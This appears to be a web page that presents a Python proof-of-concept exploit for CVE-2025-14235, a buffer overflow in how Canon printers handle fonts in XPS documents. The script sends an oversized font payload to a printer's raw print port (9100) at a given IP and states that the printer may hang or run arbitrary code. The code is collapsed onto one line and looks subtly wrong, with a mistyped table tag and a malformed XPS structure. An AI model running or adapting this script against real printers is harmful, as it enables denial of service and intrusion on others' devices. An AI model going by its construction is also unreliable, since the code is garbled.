CVE-2025-14235 佳能打印机XPS字体缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-14235 PoC - Canon Printer XPS Font Buffer Overflow # This PoC demonstrates sending a malicious XPS document with oversized fpgm data import socket import struct import sys def create_malicious_xps(): """Generate malicious XPS document with oversized fpgm font data""" # XPS document structure with embedded malicious font malicious_font_data = b'A' * 10000 # Oversized fpgm data to trigger overflow xps_header = b'PK\x03\x04' # ZIP-based XPS format # Malicious fpgm table in TrueType font fpgm_table = struct.pack('>4s', b'fpkg') # Table tag fpgm_table += struct.pack('>I', 0x00010000) # Version fpgm_table += struct.pack('>I', len(malicious_font_data)) # Length fpgm_table += malicious_font_data return xps_header + fpgm_table def send_exploit(target_ip, target_port=9100): """Send malicious XPS document to printer via raw print port""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Send crafted XPS document payload = create_malicious_xps() sock.send(payload) print(f"[*] Malicious XPS sent to {target_ip}:{target_port}") print(f"[*] Payload size: {len(payload)} bytes") print("[*] If vulnerable, the printer may hang or execute arbitrary code") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-14235-poc.py <printer_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)